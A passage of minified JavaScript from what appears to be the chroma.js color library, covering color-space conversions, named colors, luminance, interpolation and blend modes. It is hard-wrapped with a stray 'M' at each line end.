(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
lor: "+r)},Pr=m,Rr=v,Gr=l.type,jr=d,Er=_r;Rr.prototype.hex=function(r){return Er(this._rgb,r)},Pr.hex=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Rr,[null].concat(r,["hex"])))},jr.format.hex=xr,jr.autodetect.push({p:4,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===Gr(r)&&[3,4,5,6,7,8,9].indexOf(r.length)>=0)return"hex"}});var Or=l.unpack,qr=l.TWOPI,Br=Math.min,Ir=Math.sqrt,Ar=Math.acos,Dr=functionM
(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=Or(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Br(a/=255,f/=255,o/=255),u=(a+f+o)/3,i=u>0?1-c/u:0;return 0===i?t=NaN:(t=(a-f+(a-o))/2,t/=Ir((a-f)*(a-f)+(a-o)*(f-o)),t=Ar(t),o>f&&(t=qr-t),t/=qr),[360*t,i,u]},Cr=l.unpack,Yr=l.limit,Sr=l.TWOPI,Lr=l.PITHIRD,$r=Math.cos,Tr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Cr(r,"hsi"))[0],o=r[1],c=r[2];return isNaN(f)&&(f=0),isNaN(o)&&(o=0),f>360&&(f-=360),f<0&&(f+=360),(f/=360)<1/3?n=1-M
((a=(1-o)/3)+(t=(1+o*$r(Sr*f)/$r(Lr-Sr*f))/3)):f<2/3?a=1-((t=(1-o)/3)+(n=(1+o*$r(Sr*(f-=1/3))/$r(Lr-Sr*f))/3)):t=1-((n=(1-o)/3)+(a=(1+o*$r(Sr*(f-=2/3))/$r(Lr-Sr*f))/3)),[255*(t=Yr(c*t*3)),255*(n=Yr(c*n*3)),255*(a=Yr(c*a*3)),r.length>3?r[3]:1]},Kr=l.unpack,Wr=l.type,Xr=m,Zr=v,Hr=d,zr=Dr;Zr.prototype.hsi=function(){return zr(this._rgb)},Xr.hsi=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Zr,[null].concat(r,["hsi"])))},Hr.format.hsi=Tr,Hr.autodetect.push({pM
:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Kr(r,"hsi"),"array"===Wr(r)&&3===r.length)return"hsi"}});var Ur=l.unpack,Vr=l.type,Jr=m,Qr=v,re=d,ee=B;Qr.prototype.hsl=function(){return ee(this._rgb)},Jr.hsl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Qr,[null].concat(r,["hsl"])))},re.format.hsl=T,re.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ur(r,"hsl"),"array"===Vr(r)M
&&3===r.length)return"hsl"}});var te=l.unpack,ne=Math.min,ae=Math.max,fe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=te(r,"rgb"))[0],o=r[1],c=r[2],u=ne(f,o,c),i=ae(f,o,c),l=i-u;return a=i/255,0===i?(t=Number.NaN,n=0):(n=l/i,f===i&&(t=(o-c)/l),o===i&&(t=2+(c-f)/l),c===i&&(t=4+(f-o)/l),(t*=60)<0&&(t+=360)),[t,n,a]},oe=l.unpack,ce=Math.floor,ue=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=oe(o,"hsv"))[0],h=o[1],b=o[2];if(b*=255,0===h)M
u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var s=ce(d/=60),p=d-s,g=b*(1-h),v=b*(1-h*p),y=b*(1-h*(1-p));switch(s){case 0:u=(r=[b,y,g])[0],i=r[1],l=r[2];break;case 1:u=(e=[v,b,g])[0],i=e[1],l=e[2];break;case 2:u=(t=[g,b,y])[0],i=t[1],l=t[2];break;case 3:u=(n=[g,v,b])[0],i=n[1],l=n[2];break;case 4:u=(a=[y,g,b])[0],i=a[1],l=a[2];break;case 5:u=(f=[b,g,v])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},ie=l.unpack,le=l.type,de=m,he=v,be=d,se=fe;he.prototype.hsv=function(){return se(this._rgb)},de.hsv=M
function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(he,[null].concat(r,["hsv"])))},be.format.hsv=ue,be.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=ie(r,"hsv"),"array"===le(r)&&3===r.length)return"hsv"}});var pe={Kn:18,Xn:.95047,Yn:1,Zn:1.08883,t0:.137931034,t1:.206896552,t2:.12841855,t3:.008856452},ge=pe,ve=l.unpack,ye=Math.pow,me=function(r){return(r/=255)<=.04045?r/12.92:ye((r+.055)/1.055,2.4)},ke=function(M
r){return r>ge.t3?ye(r,1/3):r/ge.t2+ge.t0},we=function(r,e,t){return r=me(r),e=me(e),t=me(t),[ke((.4124564*r+.3575761*e+.1804375*t)/ge.Xn),ke((.2126729*r+.7151522*e+.072175*t)/ge.Yn),ke((.0193339*r+.119192*e+.9503041*t)/ge.Zn)]},Me=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=ve(r,"rgb"),n=t[0],a=t[1],f=t[2],o=we(n,a,f),c=o[0],u=o[1],i=116*u-16;return[i<0?0:i,500*(c-u),200*(u-o[2])]},_e=pe,Ne=l.unpack,Fe=Math.pow,xe=function(r){return 255*(r<=.00304?12.92*r:1.055*Fe(r,1/2.4)-.055)},Pe=funM
ction(r){return r>_e.t1?r*r*r:_e.t2*(r-_e.t0)},Re=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n,a,f=(r=Ne(r,"lab"))[0],o=r[1],c=r[2];return n=(f+16)/116,t=isNaN(o)?n:n+o/500,a=isNaN(c)?n:n-c/200,n=_e.Yn*Pe(n),t=_e.Xn*Pe(t),a=_e.Zn*Pe(a),[xe(3.2404542*t-1.5371385*n-.4985314*a),xe(-.969266*t+1.8760108*n+.041556*a),xe(.0556434*t-.2040259*n+1.0572252*a),r.length>3?r[3]:1]},Ge=l.unpack,je=l.type,Ee=m,Oe=v,qe=d,Be=Me;Oe.prototype.lab=function(){return Be(this._rgb)},Ee.lab=function(){for(var rM
=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Oe,[null].concat(r,["lab"])))},qe.format.lab=Re,qe.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ge(r,"lab"),"array"===je(r)&&3===r.length)return"lab"}});var Ie=l.unpack,Ae=l.RAD2DEG,De=Math.sqrt,Ce=Math.atan2,Ye=Math.round,Se=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ie(r,"lab"),n=t[0],a=t[1],f=t[2],o=De(a*a+f*f),c=(Ce(f,a)*Ae+360)%360;return 0===YeM
(1e4*o)&&(c=Number.NaN),[n,o,c]},Le=l.unpack,$e=Me,Te=Se,Ke=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Le(r,"rgb"),n=t[0],a=t[1],f=t[2],o=$e(n,a,f),c=o[0],u=o[1],i=o[2];return Te(c,u,i)},We=l.unpack,Xe=l.DEG2RAD,Ze=Math.sin,He=Math.cos,ze=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=We(r,"lch"),n=t[0],a=t[1],f=t[2];return isNaN(f)&&(f=0),[n,He(f*=Xe)*a,Ze(f)*a]},Ue=l.unpack,Ve=ze,Je=Re,Qe=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=M
(r=Ue(r,"lch"))[0],n=r[1],a=r[2],f=Ve(t,n,a),o=f[0],c=f[1],u=f[2],i=Je(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},rt=l.unpack,et=Qe,tt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rt(r,"hcl").reverse();return et.apply(void 0,t)},nt=l.unpack,at=l.type,ft=m,ot=v,ct=d,ut=Ke;ot.prototype.lch=function(){return ut(this._rgb)},ot.prototype.hcl=function(){return ut(this._rgb).reverse()},ft.lch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.biM
nd.apply(ot,[null].concat(r,["lch"])))},ft.hcl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(ot,[null].concat(r,["hcl"])))},ct.format.lch=Qe,ct.format.hcl=tt,["lch","hcl"].forEach(function(r){return ct.autodetect.push({p:2,test:function(){for(var e=[],t=arguments.length;t--;)e[t]=arguments[t];if(e=nt(e,r),"array"===at(e)&&3===e.length)return r}})});var it=d,lt=l.type,dt={aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aqua:"#00ffff",aquamarine:"#7fffd4",azure:M
"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",black:"#000000",blanchedalmond:"#ffebcd",blue:"#0000ff",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflower:"#6495ed",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",daM
rkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",fuchsia:"#ff00ff",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",gray:"#808080",green:"#008000",greenyellow:"#M
adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",laserlemon:"#ffff54",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrod:"#fafad2",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#M
778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",lime:"#00ff00",limegreen:"#32cd32",linen:"#faf0e6",magenta:"#ff00ff",maroon:"#800000",maroon2:"#7f0000",maroon3:"#b03060",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhiteM
:"#ffdead",navy:"#000080",oldlace:"#fdf5e6",olive:"#808000",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",purple:"#800080",purple2:"#7f007f",purple3:"#a020f0",rebeccapurple:"#663399",red:"#ff0000",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a4M
60",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",silver:"#c0c0c0",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",teal:"#008080",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",white:"#ffffff",whitesmoke:"#f5f5f5",yellow:"#ffff00",yellowgreen:"#9acd32"},ht=xr,bt=_r;v.prototype.name=function(){for(var r=bt(this._rgb,"rgb"),e=0,t=Object.keys(dt);e<t.length;e+=1){var n=M
t[e];if(dt[n]===r)return n.toLowerCase()}return r},it.format.named=function(r){if(r=r.toLowerCase(),dt[r])return ht(dt[r]);throw new Error("unknown color name: "+r)},it.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===lt(r)&&dt[r.toLowerCase()])return"named"}});var st=l.unpack,pt=l.type,gt=function(r){if("number"==pt(r)&&r>=0&&r<=16777215)return[r>>16,r>>8&255,255&r,1];throw new Error("unknown num color: "+r)},vt=m,yt=v,mt=d,kt=l.type,wt=fuM
nction(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=st(r,"rgb");return(t[0]<<16)+(t[1]<<8)+t[2]};yt.prototype.num=function(){return wt(this._rgb)},vt.num=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(yt,[null].concat(r,["num"])))},mt.format.num=gt,mt.autodetect.push({p:5,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(1===r.length&&"number"===kt(r[0])&&r[0]>=0&&r[0]<=16777215)return"num"}});var Mt=m,_t=v,Nt=d,FtM
=l.unpack,xt=l.type,Pt=Math.round;_t.prototype.rgb=function(r){return void 0===r&&(r=!0),!1===r?this._rgb.slice(0,3):this._rgb.slice(0,3).map(Pt)},_t.prototype.rgba=function(r){return void 0===r&&(r=!0),this._rgb.slice(0,4).map(function(e,t){return t<3?!1===r?e:Pt(e):e})},Mt.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(_t,[null].concat(r,["rgb"])))},Nt.format.rgb=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Ft(r,"rgba");retM
urn void 0===t[3]&&(t[3]=1),t},Nt.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ft(r,"rgba"),"array"===xt(r)&&(3===r.length||4===r.length&&"number"==xt(r[3])&&r[3]>=0&&r[3]<=1))return"rgb"}});var Rt=Math.log,Gt=function(r){var e,t,n,a=r/100;return a<66?(e=255,t=a<6?0:-155.25485562709179-.44596950469579133*(t=a-2)+104.49216199393888*Rt(t),n=a<20?0:.8274096064007395*(n=a-10)-254.76935184120902+115.67994401066147*Rt(n)):(e=351.97690566805693+.114206453784165*(e=a-55)-M
40.25366309332127*Rt(e),t=325.4494125711974+.07943456536662342*(t=a-50)-28.0852963507957*Rt(t),n=255),[e,t,n,1]},jt=Gt,Et=l.unpack,Ot=Math.round,qt=m,Bt=v,It=d,At=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];for(var t,n=Et(r,"rgb"),a=n[0],f=n[2],o=1e3,c=4e4;c-o>.4;){var u=jt(t=.5*(c+o));u[2]/u[0]>=f/a?c=t:o=t}return Ot(t)};Bt.prototype.temp=Bt.prototype.kelvin=Bt.prototype.temperature=function(){return At(this._rgb)},qt.temp=qt.kelvin=qt.temperature=function(){for(var r=[],e=arguments.length;e-M
-;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Bt,[null].concat(r,["temp"])))},It.format.temp=It.format.kelvin=It.format.temperature=Gt;var Dt=l.unpack,Ct=Math.cbrt,Yt=Math.pow,St=Math.sign,Lt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=Dt(r,"rgb"),n=t[0],a=t[1],f=t[2],o=[$t(n/255),$t(a/255),$t(f/255)],c=o[0],u=o[1],i=o[2],l=Ct(.4122214708*c+.5363325363*u+.0514459929*i),d=Ct(.2119034982*c+.6806995451*u+.1073969566*i),h=Ct(.0883024619*c+.2817188376*u+.6299787005*i);return[.M
2104542553*l+.793617785*d-.0040720468*h,1.9779984951*l-2.428592205*d+.4505937099*h,.0259040371*l+.7827717662*d-.808675766*h]};function $t(r){var e=Math.abs(r);return e<.04045?r/12.92:(St(r)||1)*Yt((e+.055)/1.055,2.4)}var Tt=l.unpack,Kt=Math.pow,Wt=Math.sign,Xt=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=Tt(r,"lab"))[0],n=r[1],a=r[2],f=Kt(t+.3963377774*n+.2158037573*a,3),o=Kt(t-.1055613458*n-.0638541728*a,3),c=Kt(t-.0894841775*n-1.291485548*a,3);return[255*Zt(4.0767416621*f-3.307711591M
3*o+.2309699292*c),255*Zt(-1.2684380046*f+2.6097574011*o-.3413193965*c),255*Zt(-.0041960863*f-.7034186147*o+1.707614701*c),r.length>3?r[3]:1]};function Zt(r){var e=Math.abs(r);return e>.0031308?(Wt(r)||1)*(1.055*Kt(e,1/2.4)-.055):12.92*r}var Ht=l.unpack,zt=l.type,Ut=m,Vt=v,Jt=d,Qt=Lt;Vt.prototype.oklab=function(){return Qt(this._rgb)},Ut.oklab=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(Vt,[null].concat(r,["oklab"])))},Jt.format.oklab=Xt,Jt.autodetect.pM
ush({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=Ht(r,"oklab"),"array"===zt(r)&&3===r.length)return"oklab"}});var rn=l.unpack,en=Lt,tn=Se,nn=l.unpack,an=ze,fn=Xt,on=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=nn(r,"lch"))[0],n=r[1],a=r[2],f=an(t,n,a),o=f[0],c=f[1],u=f[2],i=fn(o,c,u);return[i[0],i[1],i[2],r.length>3?r[3]:1]},cn=l.unpack,un=l.type,ln=m,dn=v,hn=d,bn=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=rn(r,"rgb"),n=tM
[0],a=t[1],f=t[2],o=en(n,a,f),c=o[0],u=o[1],i=o[2];return tn(c,u,i)};dn.prototype.oklch=function(){return bn(this._rgb)},ln.oklch=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(dn,[null].concat(r,["oklch"])))},hn.format.oklch=on,hn.autodetect.push({p:3,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=cn(r,"oklch"),"array"===un(r)&&3===r.length)return"oklch"}});var sn=v,pn=l.type;sn.prototype.alpha=function(r,e){return void 0===e&M
&(e=!1),void 0!==r&&"number"===pn(r)?e?(this._rgb[3]=r,this):new sn([this._rgb[0],this._rgb[1],this._rgb[2],r],"rgb"):this._rgb[3]},v.prototype.clipped=function(){return this._rgb._clipped||!1};var gn=v,vn=pe;gn.prototype.darken=function(r){void 0===r&&(r=1);var e=this.lab();return e[0]-=vn.Kn*r,new gn(e,"lab").alpha(this.alpha(),!0)},gn.prototype.brighten=function(r){return void 0===r&&(r=1),this.darken(-r)},gn.prototype.darker=gn.prototype.darken,gn.prototype.brighter=gn.prototype.brighten,v.prototype.get=functioM
n(r){var e=r.split("."),t=e[0],n=e[1],a=this[t]();if(n){var f=t.indexOf(n)-("ok"===t.substr(0,2)?2:0);if(f>-1)return a[f];throw new Error("unknown channel "+n+" in mode "+t)}return a};var yn=v,mn=l.type,kn=Math.pow;yn.prototype.luminance=function(r){if(void 0!==r&&"number"===mn(r)){if(0===r)return new yn([0,0,0,this._rgb[3]],"rgb");if(1===r)return new yn([255,255,255,this._rgb[3]],"rgb");var e=this.luminance(),t=20,n=function(e,a){var f=e.interpolate(a,.5,"rgb"),o=f.luminance();return Math.abs(r-o)<1e-7||!t--?f:o>rM
?n(e,f):n(f,a)},a=(e>r?n(new yn([0,0,0]),this):n(this,new yn([255,255,255]))).rgb();return new yn(a.concat([this._rgb[3]]))}return wn.apply(void 0,this._rgb.slice(0,3))};var wn=function(r,e,t){return.2126*(r=Mn(r))+.7152*(e=Mn(e))+.0722*(t=Mn(t))},Mn=function(r){return(r/=255)<=.03928?r/12.92:kn((r+.055)/1.055,2.4)},_n={},Nn=v,Fn=l.type,xn=_n,Pn=v,Rn=function(r,e,t){void 0===t&&(t=.5);for(var n=[],a=arguments.length-3;a-- >0;)n[a]=arguments[a+3];var f=n[0]||"lrgb";if(xn[f]||n.length||(f=Object.keys(xn)[0]),!xn[f])tM
hrow new Error("interpolation mode "+f+" is not defined");return"object"!==Fn(r)&&(r=new Nn(r)),"object"!==Fn(e)&&(e=new Nn(e)),xn[f](r,e,t).alpha(r.alpha()+t*(e.alpha()-r.alpha()))};Pn.prototype.mix=Pn.prototype.interpolate=function(r,e){void 0===e&&(e=.5);for(var t=[],n=arguments.length-2;n-- >0;)t[n]=arguments[n+2];return Rn.apply(void 0,[this,r,e].concat(t))};var Gn=v;Gn.prototype.premultiply=function(r){void 0===r&&(r=!1);var e=this._rgb,t=e[3];return r?(this._rgb=[e[0]*t,e[1]*t,e[2]*t,t],this):new Gn([e[0]*t,M
e[1]*t,e[2]*t,t],"rgb")};var jn=v,En=pe;jn.prototype.saturate=function(r){void 0===r&&(r=1);var e=this.lch();return e[1]+=En.Kn*r,e[1]<0&&(e[1]=0),new jn(e,"lch").alpha(this.alpha(),!0)},jn.prototype.desaturate=function(r){return void 0===r&&(r=1),this.saturate(-r)};var On=v,qn=l.type;On.prototype.set=function(r,e,t){void 0===t&&(t=!1);var n=r.split("."),a=n[0],f=n[1],o=this[a]();if(f){var c=a.indexOf(f)-("ok"===a.substr(0,2)?2:0);if(c>-1){if("string"==qn(e))switch(e.charAt(0)){case"+":case"-":o[c]+=+e;break;case"*M
":o[c]*=+e.substr(1);break;case"/":o[c]/=+e.substr(1);break;default:o[c]=+e}else{if("number"!==qn(e))throw new Error("unsupported value for Color.set");o[c]=e}var u=new On(o,a);return t?(this._rgb=u._rgb,this):u}throw new Error("unknown channel "+f+" in mode "+a)}return o};var Bn=v;_n.rgb=function(r,e,t){var n=r._rgb,a=e._rgb;return new Bn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"rgb")};var In=v,An=Math.sqrt,Dn=Math.pow;_n.lrgb=function(r,e,t){var n=r._rgb,a=n[0],f=n[1],o=n[2],c=e._rgb,u=c[0],i=c[1M
],l=c[2];return new In(An(Dn(a,2)*(1-t)+Dn(u,2)*t),An(Dn(f,2)*(1-t)+Dn(i,2)*t),An(Dn(o,2)*(1-t)+Dn(l,2)*t),"rgb")};var Cn=v;_n.lab=function(r,e,t){var n=r.lab(),a=e.lab();return new Cn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"lab")};var Yn=v,Sn=function(r,e,t,n){var a,f,o,c,u,i,l,d,h,b,s,p,g;return"hsl"===n?(o=r.hsl(),c=e.hsl()):"hsv"===n?(o=r.hsv(),c=e.hsv()):"hcg"===n?(o=r.hcg(),c=e.hcg()):"hsi"===n?(o=r.hsi(),c=e.hsi()):"lch"===n||"hcl"===n?(n="hcl",o=r.hcl(),c=e.hcl()):"oklch"===n&&(o=r.oklch()M
.reverse(),c=e.oklch().reverse()),"h"!==n.substr(0,1)&&"oklch"!==n||(u=(a=o)[0],l=a[1],h=a[2],i=(f=c)[0],d=f[1],b=f[2]),isNaN(u)||isNaN(i)?isNaN(u)?isNaN(i)?p=Number.NaN:(p=i,1!=h&&0!=h||"hsv"==n||(s=d)):(p=u,1!=b&&0!=b||"hsv"==n||(s=l)):p=u+t*(i>u&&i-u>180?i-(u+360):i<u&&u-i>180?i+360-u:i-u),void 0===s&&(s=l+t*(d-l)),g=h+t*(b-h),new Yn("oklch"===n?[g,s,p]:[p,s,g],n)},Ln=Sn,$n=function(r,e,t){return Ln(r,e,t,"lch")};_n.lch=$n,_n.hcl=$n;var Tn=v;_n.num=function(r,e,t){var n=r.num(),a=e.num();return new Tn(n+t*(a-n),M
"num")};var Kn=Sn;_n.hcg=function(r,e,t){return Kn(r,e,t,"hcg")};var Wn=Sn;_n.hsi=function(r,e,t){return Wn(r,e,t,"hsi")};var Xn=Sn;_n.hsl=function(r,e,t){return Xn(r,e,t,"hsl")};var Zn=Sn;_n.hsv=function(r,e,t){return Zn(r,e,t,"hsv")};var Hn=v;_n.oklab=function(r,e,t){var n=r.oklab(),a=e.oklab();return new Hn(n[0]+t*(a[0]-n[0]),n[1]+t*(a[1]-n[1]),n[2]+t*(a[2]-n[2]),"oklab")};var zn=Sn;_n.oklch=function(r,e,t){return zn(r,e,t,"oklch")};Math.pow,Math.sqrt,Math.PI,Math.cos,Math.sin,Math.atan2,Math.pow;var Un=m,Vn=funM
ction(r,e,t){if(!Vn[t])throw new Error("unknown blend mode "+t);return Vn[t](r,e)},Jn=function(r){return function(e,t){var n=Un(t).rgb(),a=Un(e).rgb();return Un.rgb(r(n,a))}},Qn=function(r){return function(e,t){var n=[];return n[0]=r(e[0],t[0]),n[1]=r(e[1],t[1]),n[2]=r(e[2],t[2]),n}};Vn.normal=Jn(Qn(function(r){return r})),Vn.multiply=Jn(Qn(function(r,e){return r*e/255})),Vn.screen=Jn(Qn(function(r,e){return 255*(1-(1-r/255)*(1-e/255))})),Vn.overlay=Jn(Qn(function(r,e){return e<128?2*r*e/255:255*(1-2*(1-r/255)*(1-eM
/255))})),Vn.darken=Jn(Qn(function(r,e){return r>e?e:r})),Vn.lighten=Jn(Qn(function(r,e){return r>e?r:e})),Vn.dodge=Jn(Qn(function(r,e){return 255===r?255:(r=e/255*255/(1-r/255))>255?255:r})),Vn.burn=Jn(Qn(function(r,e){return 255*(1-(1-e/255)/(r/255))}));Math.pow,Math.sin,Math.cos,Math.floor,Math.random,Math.log,Math.pow,Math.floor,Math.abs,Math.sqrt,Math.pow,Math.min,Math.max,Math.atan2,Math.abs,Math.cos,Math.sin,Math.exp,Math.PI;for(var ra={OrRd:["#fff7ec","#fee8c8","#fdd49e","#fdbb84","#fc8d59","#ef6548","#d730M
